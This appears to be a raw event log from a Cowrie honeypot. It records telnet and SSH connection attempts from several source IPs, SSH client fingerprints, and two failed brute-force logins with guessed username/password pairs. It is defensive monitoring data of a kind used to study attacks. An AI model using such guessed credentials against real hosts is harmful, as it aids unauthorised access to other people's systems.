{"eventid":"cowrie.session.closed","duration":30.593716859817505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:40.251567Z","src_ip":"173.249.63.118","session":"49d8a55bb5da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695518255233765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:40.449641Z","src_ip":"173.249.63.118","session":"32917cfe00ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798950910568237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:40.544294Z","src_ip":"173.249.63.118","session":"801a9f3d1f6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.394914865493774,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:40.644768Z","src_ip":"173.249.63.118","session":"b0d9abc6a868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58825874328613,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:40.648740Z","src_ip":"34.69.118.1","session":"72a5b712211d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":60576,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f340790a6c","protocol":"telnet","message":"New connection: 173.249.63.118:60576 (10.17.0.5:23) [session: 01f340790a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:40.847218Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":33318,"dst_ip":"10.17.0.5","dst_port":23,"session":"0953f566fbe5","protocol":"telnet","message":"New connection: 173.249.63.118:33318 (10.17.0.5:23) [session: 0953f566fbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:40.947160Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":60872,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dae1331f79a","protocol":"telnet","message":"New connection: 173.249.63.118:60872 (10.17.0.5:23) [session: 2dae1331f79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:41.051554Z"}
{"eventid":"cowrie.session.closed","duration":31.27955389022827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:43.343041Z","src_ip":"173.249.63.118","session":"fbdddeca1881","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40364170074463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:43.461565Z","src_ip":"173.249.63.118","session":"97bacfd12aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69304871559143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:43.846716Z","src_ip":"173.249.63.118","session":"8ed2c45f33e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":35332,"dst_ip":"10.17.0.5","dst_port":23,"session":"d007038cb3a1","protocol":"telnet","message":"New connection: 173.249.63.118:35332 (10.17.0.5:23) [session: d007038cb3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:44.744756Z"}
{"eventid":"cowrie.session.closed","duration":30.403407335281372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:45.050633Z","src_ip":"173.249.63.118","session":"77e82e81a2ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89457106590271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:45.159341Z","src_ip":"173.249.63.118","session":"4b13aedf6d97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.711777925491333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:45.663906Z","src_ip":"173.249.63.118","session":"a70fd442427f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":35320,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd3ed7cfde5b","protocol":"telnet","message":"New connection: 173.249.63.118:35320 (10.17.0.5:23) [session: dd3ed7cfde5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:46.748086Z"}
{"eventid":"cowrie.session.closed","duration":31.20717215538025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:47.452489Z","src_ip":"173.249.63.118","session":"ace69c339cc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115274906158447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:47.460455Z","src_ip":"173.249.63.118","session":"270abc3e1650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":36276,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d34b5e130cc","protocol":"telnet","message":"New connection: 173.249.63.118:36276 (10.17.0.5:23) [session: 9d34b5e130cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:47.843106Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":36494,"dst_ip":"10.17.0.5","dst_port":23,"session":"8427b35a6483","protocol":"telnet","message":"New connection: 173.249.63.118:36494 (10.17.0.5:23) [session: 8427b35a6483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:48.254646Z"}
{"eventid":"cowrie.session.closed","duration":31.209612369537354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:48.357448Z","src_ip":"173.249.63.118","session":"bd2cdc912b51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49906611442566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:49.449494Z","src_ip":"173.249.63.118","session":"de74eaf3fac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":34790,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf9e501eb1c","protocol":"telnet","message":"New connection: 173.249.63.118:34790 (10.17.0.5:23) [session: fcf9e501eb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:49.657596Z"}
{"eventid":"cowrie.session.closed","duration":35.517603635787964,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:49.853042Z","src_ip":"167.99.38.72","session":"28bf83226105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005261421203613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:50.359267Z","src_ip":"173.249.63.118","session":"99ea0261a455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.518835306167603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:50.566029Z","src_ip":"173.249.63.118","session":"b279091dbea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.607624292373657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:51.552504Z","src_ip":"173.249.63.118","session":"22e9703b109d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10562300682068,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:51.650284Z","src_ip":"173.249.63.118","session":"794b83da7e3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391995906829834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:52.049826Z","src_ip":"173.249.63.118","session":"3442f4bef14c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50441598892212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:52.147976Z","src_ip":"173.249.63.118","session":"715420599cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":38694,"dst_ip":"10.17.0.5","dst_port":23,"session":"83bfe75c3931","protocol":"telnet","message":"New connection: 173.249.63.118:38694 (10.17.0.5:23) [session: 83bfe75c3931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:52.241343Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":39190,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2e75c056146","protocol":"telnet","message":"New connection: 173.249.63.118:39190 (10.17.0.5:23) [session: e2e75c056146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:52.251535Z"}
{"eventid":"cowrie.session.closed","duration":30.610156774520874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:52.257853Z","src_ip":"173.249.63.118","session":"af2880d0f8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79111075401306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:52.452688Z","src_ip":"173.249.63.118","session":"72413e91f699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.201937675476074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:54.347790Z","src_ip":"173.249.63.118","session":"d9d0f72a257e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971401929855347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:56.852345Z","src_ip":"173.249.63.118","session":"0483897fb2c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59177303314209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:59.353258Z","src_ip":"173.249.63.118","session":"f4c3642374e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503441333770752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:59.447950Z","src_ip":"173.249.63.118","session":"95575197d994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91159439086914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:00.761721Z","src_ip":"173.249.63.118","session":"8dfffb43a3e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5012469291687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:02.047467Z","src_ip":"173.249.63.118","session":"58e998f59965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86656856536865,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:02.492584Z","src_ip":"167.99.38.72","session":"fdaaf03468ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30876922607422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:03.462711Z","src_ip":"173.249.63.118","session":"f75d2573b96e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47684,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc32a3550693","protocol":"telnet","message":"New connection: 173.249.63.118:47684 (10.17.0.5:23) [session: bc32a3550693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:03.847440Z"}
{"eventid":"cowrie.session.closed","duration":30.58362340927124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:05.142841Z","src_ip":"173.249.63.118","session":"fa472e63f995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003206491470337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:05.556874Z","src_ip":"173.249.63.118","session":"307887da5835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2007474899292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:05.645681Z","src_ip":"173.249.63.118","session":"44aaacb5e3a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":40084,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cc0df7975ed","protocol":"ssh","message":"New connection: 148.230.169.229:40084 (10.17.0.5:22) [session: 6cc0df7975ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:06.402044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:06.406499Z","src_ip":"148.230.169.229","session":"6cc0df7975ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:06.478780Z","src_ip":"148.230.169.229","session":"6cc0df7975ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3srv","message":"login attempt [ts3server/ts3srv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:06.778893Z","src_ip":"148.230.169.229","session":"6cc0df7975ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.728421211242676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:07.172807Z","src_ip":"173.249.63.118","session":"f235a2a65458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:07.845615Z","src_ip":"148.230.169.229","session":"6cc0df7975ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59898829460144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:09.056437Z","src_ip":"173.249.63.118","session":"8ef2a4b04ee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":55960,"dst_ip":"10.17.0.5","dst_port":22,"session":"426e9dd3ebfd","protocol":"ssh","message":"New connection: 160.251.101.169:55960 (10.17.0.5:22) [session: 426e9dd3ebfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:09.489151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:09.494628Z","src_ip":"160.251.101.169","session":"426e9dd3ebfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:09.657377Z","src_ip":"160.251.101.169","session":"426e9dd3ebfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.603028297424316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:10.048846Z","src_ip":"173.249.63.118","session":"bed6827d42eb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"front-user","password":"front-user","message":"login attempt [front-user/front-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:10.298597Z","src_ip":"160.251.101.169","session":"426e9dd3ebfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.21086072921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:11.057957Z","src_ip":"173.249.63.118","session":"01f340790a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:11.465216Z","src_ip":"160.251.101.169","session":"426e9dd3ebfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.297165870666504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:12.244241Z","src_ip":"173.249.63.118","session":"0953f566fbe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.988080263137817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:13.039541Z","src_ip":"173.249.63.118","session":"2dae1331f79a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39877462387085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:16.143417Z","src_ip":"173.249.63.118","session":"d007038cb3a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514492750167847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:17.262409Z","src_ip":"173.249.63.118","session":"dd3ed7cfde5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60177183151245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:18.444794Z","src_ip":"173.249.63.118","session":"9d34b5e130cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57414,"dst_ip":"10.17.0.5","dst_port":23,"session":"031aa3ca48e6","protocol":"telnet","message":"New connection: 173.249.63.118:57414 (10.17.0.5:23) [session: 031aa3ca48e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:19.548696Z"}
{"eventid":"cowrie.session.closed","duration":31.493810415267944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:19.748353Z","src_ip":"173.249.63.118","session":"8427b35a6483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.603267192840576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:20.260743Z","src_ip":"173.249.63.118","session":"fcf9e501eb1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207476139068604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:23.448684Z","src_ip":"173.249.63.118","session":"83bfe75c3931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40942406654358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:23.660860Z","src_ip":"173.249.63.118","session":"e2e75c056146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57976,"dst_ip":"10.17.0.5","dst_port":23,"session":"b35bebbeacbd","protocol":"telnet","message":"New connection: 173.249.63.118:57976 (10.17.0.5:23) [session: b35bebbeacbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:26.651197Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":34818,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f5b2cf20cb","protocol":"telnet","message":"New connection: 173.249.63.118:34818 (10.17.0.5:23) [session: 41f5b2cf20cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:31.646417Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":36086,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ec713b87ad1","protocol":"ssh","message":"New connection: 190.108.60.101:36086 (10.17.0.5:22) [session: 5ec713b87ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:33.445110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:33.449727Z","src_ip":"190.108.60.101","session":"5ec713b87ad1","protocol":"ssh"}
